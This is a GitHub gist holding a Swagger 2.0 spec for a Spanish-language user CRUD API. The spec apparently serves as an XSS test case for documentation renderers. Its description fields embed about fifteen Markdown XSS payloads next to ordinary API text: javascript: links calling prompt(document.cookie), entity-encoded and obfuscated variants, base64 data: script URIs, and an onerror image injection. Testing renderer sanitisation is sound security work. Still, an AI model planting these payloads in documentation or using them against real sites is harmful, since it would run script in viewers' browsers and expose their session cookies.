Skip to content

Instantly share code, notes, and snippets.

@betillogalvanfbc
Last active February 24, 2025 20:17
Show Gist options
  • Save betillogalvanfbc/c050ebc66c584c8e627587f4c21847db to your computer and use it in GitHub Desktop.
Save betillogalvanfbc/c050ebc66c584c8e627587f4c21847db to your computer and use it in GitHub Desktop.
xss2.yaml
swagger: '2.0'
info:
title: User API
description: |
# User API 馃搶
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
![a](javascript:prompt(document.cookie))\
<javascript:prompt(document.cookie)>
<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)
![a'"`onerror=prompt(document.cookie)](x)
Esta API permite gestionar usuarios con operaciones CRUD. A continuaci贸n, se detallan los endpoints y ejemplos de uso.
---
## 馃摲 Imagen en la documentaci贸n
![User API](https://example.com/image.png)
---
## 馃帴 Video de referencia
Puedes ver un video explicativo aqu铆:
[Watch this tutorial](https://www.youtube.com/watch?v=example)
---
## 馃敆 Enlaces 煤tiles
- [Swagger OpenAPI Docs](https://swagger.io/specification/)
- [Markdown Guide](https://www.markdownguide.org/)
---
## 馃搶 Ejemplo de C贸digo en la descripci贸n
```json
{
"id": 1,
"name": "John Doe",
"email": "[email protected]"
}
```
[a](javascript:this;alert(1))
[a](javascript:this;alert(1&#41;)
[a](javascript&#58this;alert(1&#41;)
[a](Javas&#99;ript:alert(1&#41;)
[a](Javas%26%2399;ript:alert(1&#41;)
[a](javascript:alert&#65534;(1&#41;)
---
## 馃搵 Tabla de Estado de Usuarios
| Estado | Descripci贸n |
|---------|-----------------------------|
| `active` | Usuario activo en el sistema |
| `inactive` | Usuario inactivo |
| `banned` | Usuario bloqueado |
---
## 馃殌 隆Comienza ahora!
Usa los endpoints abajo para interactuar con la API.
paths:
/users:
get:
summary: Get all users
description: |
Retorna la lista de usuarios disponibles en el sistema.
**Ejemplo de respuesta:**
```json
[
{
"id": 1,
"name": "John Doe",
"email": "[email protected]"
}
]
```
operationId: getUsers
tags:
- users
responses:
'200':
description: 脡xito
schema:
type: array
items:
type: object
properties:
id:
type: integer
name:
type: string
email:
type: string
/users/{userId}/profile-picture:
get:
summary: Get user profile picture
description: |
Retorna la imagen de perfil del usuario en formato **JPEG** o **PNG**.
operationId: getUserProfilePicture
tags:
- users
parameters:
- name: userId
in: path
required: true
type: string
responses:
'200':
description: Imagen de perfil del usuario
schema:
type: string
format: binary
'404':
description: Usuario no encontrado
/users/{userId}/video:
get:
summary: Get user introduction video
description: |
Retorna un video de presentaci贸n del usuario.
operationId: getUserVideo
tags:
- users
parameters:
- name: userId
in: path
required: true
type: string
responses:
'200':
description: Video de presentaci贸n
schema:
type: string
format: binary
'404':
description: Usuario no encontrado
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment